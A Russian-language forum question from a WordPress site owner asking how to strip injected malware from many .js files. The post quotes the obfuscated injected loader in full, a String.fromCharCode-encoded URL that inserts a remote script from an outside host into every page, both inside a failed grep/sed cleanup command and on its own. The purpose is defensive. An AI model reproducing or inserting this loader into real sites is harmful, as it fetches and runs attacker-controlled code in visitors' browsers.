Как мне удалить JavaScript из нескольких файлов? - PullRequest
0 голосов
/ 09 ноября 2019

Недавно я заметил, что все мои сайты WP внедрили вредоносное ПО во все файлы .js. Я обнаружил проблему и исправил ее, однако не могу удалить строки вредоносных программ из файлов. Я пробовал эту команду:

grep -rl "var gdjfgjfgj235f = 1; var d=document;var
s=d.createElement('script'); s.type='text\/javascript'; s.async=true;
var pl =
String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48);
s.src=pl; if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s,
document.currentScript); } else {
d.getElementsByTagName('head')[0].appendChild(s);}\/" \
| xargs sed -i "var gdjfgjfgj235f = 1; var d=document;var
s=d.createElement('script'); s.type='text\/javascript'; s.async=true;
var pl =
String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48);
s.src=pl;if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s,
document.currentScript); } else
{d.getElementsByTagName('head')[0].appendChild(s);}\/"

Оригинальный вредоносный код:

var gdjfgjfgj235f = 1; var d=document;var s=d.createElement('script');
s.type='text/javascript'; s.async=true; var pl =
String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48);
s.src=pl;  if (document.currentScript) { 
document.currentScript.parentNode.insertBefore(s,
document.currentScript); } else {
d.getElementsByTagName('head')[0].appendChild(s); }/

об этой вредоносной программе: https://blog.sucuri.net/2019/11/vulnerable-versions-of-adminer-as-a-universal-infection-vector.html

...